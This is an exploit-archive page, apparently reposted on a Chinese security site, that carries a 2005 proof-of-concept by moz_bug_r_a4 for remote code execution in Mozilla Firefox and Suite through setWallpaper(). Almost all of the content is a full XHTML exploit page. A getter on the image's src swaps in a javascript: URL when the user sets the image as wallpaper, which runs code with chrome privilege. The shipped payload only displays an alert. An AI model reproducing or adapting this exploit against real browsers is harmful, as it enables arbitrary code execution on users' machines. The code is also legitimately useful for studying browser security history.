首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mozilla Firefox and Suite setWallpaper() Remote Code Execution Exploit
来源:www.vfocus.net 作者:moz_bug_r_a4 发布时间:2005-07-13  

Mozilla Firefox and Suite "setWallpaper()" Remote Code Execution Exploit


// Exploit by moz_bug_r_a4
<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<style>
IMG {
display: block;
width: 96px; height: 96px;
border: 1px solid #f00;
/*background-image: url("http://www.mozilla.org/images/mozilla-16.png");*/
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUg
AAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29md
HdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHWSURBVHjaYvz//z8DJQAg
gJiQOe/fv2fv7Oz8rays/N+VkfG/iYnJfyD/1+rVq7ffu3dPFpsBAAHEAHIBCJ85c8bN
2Nj4vwsDw/8zQLwKiO8CcRoQu0DxqlWrdsHUwzBAAIGJmTNnPgYa9j8UqhFElwP
xf2MIDeIrKSn9FwSJoRkAEEAM0DD4DzMAyPi/G+QKY4hh5WAXGf8PDQ0FGwJ2
2d27CjADAAIIrLmjo+MXA9R2kAHvGBA2wwx6B8W7od6CeQcggKCmCEL8bgwx
YCbUIGTDVkHDBia+CuotgACCueD3TDQN75D4xmAvCoK9ARMHBzAw0AECiBH
kAlC0Mdy7x9ABNA3obAZXIAa6iKEcGlMVQHwWyjYuL2d4v2cPg8vZswx7gHyAA
AK7AOif7SAbOqCmn4Ha3AHFsIDtgPq/vLz8P4MSkJ2W9h8ggBjevXvHDo4FQUQ
g/kdypqCg4H8lUIACnQ/SOBMYI8bAsAJFPcj1AAEEjwVQqLpAbXmH5BJjqI0gi9D
TAAgDBBCcAVLkgmQ7yKCZxpCQxqUZhAECCJ4XgMl493ug21ZD+aDAXH0WL
M4A9MZPXJkJIIAwTAR5pQMalaCABQUULttBGCCAGCnNzgABBgAMJ5THwGvJL
AAAAABJRU5ErkJggg==");
}
</style>
</head>

<body>
<h3>Arbitrary code execution via setWallpaper()</h3>
<pre>
1. Right click on the image.
2. Choose "Set As Wallpaper..." from the context menu.

A dialog that shows Components.stack will appear.
</pre>

<IMG id="i"/>

<script>
<![CDATA[
var sx = navigator.productSub < 20050622 ? 2 : 4;

// it needs chrome privilege to get |Components.stack|
var code = "alert('Exploit!\\n\\n' + Components.stack);";
var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');

var u = [ "http://www.mozilla.org/images/mozilla-16.png",
"javascript:eval('" + evalCode + "')" ];

var sc = 0;
var i = document.getElementById("i");
i.addEventListener("contextmenu", function(e) { sc = 0; }, false);
i.__defineGetter__("src", function() {
//return (confirm(++sc)) ? u[0] : u[1];
return (++sc < sx) ? u[0] : u[1];
});
]]>
</script>

</body>
</html>




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Drupal Code Injection
·Mozilla Firefox <= 1.0.4 Se
·TCP Chat(TCPX) DoS
·Mozilla Firefox <= 1.0.4 da
·Internet Download Manager URL
·PHP XML-RPC Module <= 1.3.0
·Mozilla FireFox <= 1.0.1 GI
·FutureSoft TFTP Server 2000 Re
·Sudo <= 1.6.8p8 Pathname Va
·GNU Mailutils imap4d Remote Pr
·phpBB <= 2.0.15 Remote SQL
·Winamp ID3v2 Buffer Overflow
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved